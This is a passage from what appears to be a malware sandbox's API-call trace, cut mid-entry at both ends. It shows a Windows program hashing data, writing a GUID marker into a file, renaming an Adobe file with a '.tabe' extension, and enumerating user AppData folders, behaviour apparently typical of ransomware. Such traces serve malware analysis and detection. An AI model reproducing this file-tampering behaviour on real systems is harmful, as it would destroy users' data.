phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.817] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.817] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.817] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.817] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.817] CryptReleaseContext (hProv=0x866ea0, dwFlags=0x0) returned 1 [0127.817] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.817] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.817] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.818] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0127.818] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xa5ff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.818] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.818] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.818] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.818] CloseHandle (hObject=0x618) returned 1 [0127.819] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\rdrmessage.zip"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\rdrmessage.zip.tabe")) returned 1 [0127.820] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce824760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce824760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe5ab8070, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="ReaderMessages", cAlternateFileName="READER~1")) returned 1 [0127.820] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages") returned="" [0127.820] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Search", cAlternateFileName="")) returned 1 [0127.820] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Search", cAlternateFileName="")) returned 0 [0127.820] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.821] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.821] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.821] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.822] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0127.822] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Adobe Custom Dictionary", cAlternateFileName="ADOBEC~1")) returned 1 [0127.822] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Adobe Custom Dictionary", cAlternateFileName="ADOBEC~1")) returned 0 [0127.822] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.822] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.822] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.822] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.824] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0127.825] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf9eaad0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf9eaad0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf9eaad0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", cAlternateFileName="024823~1")) returned 1 [0127.825] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B") returned="" [0127.825] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53bd8410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53bd8410, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbe98d390, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x561, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", cAlternateFileName="0F1583~1")) returned 1 [0127.825] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875") returned="" [0127.826] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf952550, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf952550, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf952550, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973", cAlternateFileName="1BB09B~1")) returned 1 [0127.826] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973") returned="" [0127.826] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x4c00edb0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4c00edb0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4c00edb0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0xf1d, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="1DAF2884EC4DFA96BA4A58D4DBC9C406", cAlternateFileName="1DAF28~1")) returned 1 [0127.826] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\1DAF2884EC4DFA96BA4A58D4DBC9C406") returned="" [0127.826] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x580eb5c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x580eb5c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaedd4300, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x145, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="23B523C9E7746F715D33C6527C18EB9D", cAlternateFileName="23B523~1")) returned 1 [0127.826] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\23B523C9E7746F715D33C6527C18EB9D") returned="" [0127.826] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xc3791460, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc3791460, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc3791460, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x209, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="3130B1871A126520A8C47861EFE3ED4D", cAlternateFileName="3130B1~1")) returned 1 [0127.826] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\3130B1871A126520A8C47861EFE3ED4D") returned="" [0127.826] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53fdc930, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53fdc930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf16fc70, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x58b, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D", cAlternateFileName="3388EC~1")) returned 1 [0127.826] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D") returned="" [0127.826] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53b19d30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53b19d30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54583d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb68, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1", cAlternateFileName="40E450~1")) returned 1 [0127.826] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1") returned="" [0127.826] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54537ab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54537ab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae76e7e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398", cAlternateFileName="4C8F84~1")) returned 1 [0127.826] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398") returned="" [0127.826] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x7295ee20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7295ee20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xadfb2060, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x680, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9", cAlternateFileName="4DD397~1")) returned 1 [0127.826] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9") returned="" [0127.826] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf8b9fd0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf8b9fd0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf8b9fd0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77", cAlternateFileName="5080DC~2")) returned 1 [0127.826] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77") returned="" [0127.826] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf86dd10, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf86dd10, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf86dd10, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220", cAlternateFileName="5080DC~1")) returned 1 [0127.826] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220") returned="" [0127.826] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf763370, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf763370, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf7af630, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4", cAlternateFileName="5457A8~1")) returned 1 [0127.826] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4") returned="" [0127.826] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xed9b0820, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xed9b0820, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xed9b0820, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x32d, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="696F3DE637E6DE85B458996D49D759AD", cAlternateFileName="696F3D~1")) returned 1 [0127.826] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\696F3DE637E6DE85B458996D49D759AD") returned="" [0127.827] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf763370, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf763370, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf763370, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21", cAlternateFileName="705A76~1")) returned 1 [0127.827] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21") returned="" [0127.827] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedb2d5e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedb2d5e0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedb2d5e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="7396C420A8E1BC1DA97F1AF0D10BAD21", cAlternateFileName="7396C4~1")) returned 1 [0127.827] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7396C420A8E1BC1DA97F1AF0D10BAD21") returned="" [0127.827] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x540c1170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x540c1170, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x312640, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6", cAlternateFileName="7423F8~1")) returned 1 [0127.827] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6") returned="" [0127.827] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd0e4c510, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x1fa, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="7B2238AACCEDC3F1FFE8E7EB5F575EC9", cAlternateFileName="7B2238~1")) returned 1 [0127.827] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned="" [0127.827] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6b2324c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x6b2324c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x6b2324c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x67c, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D", cAlternateFileName="7B8944~1")) returned 1 [0127.827] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D") returned="" [0127.827] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6b199f40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x6b199f40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x6b199f40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6", cAlternateFileName="7D266D~2")) returned 1 [0127.828] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6") returned="" [0127.828] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: 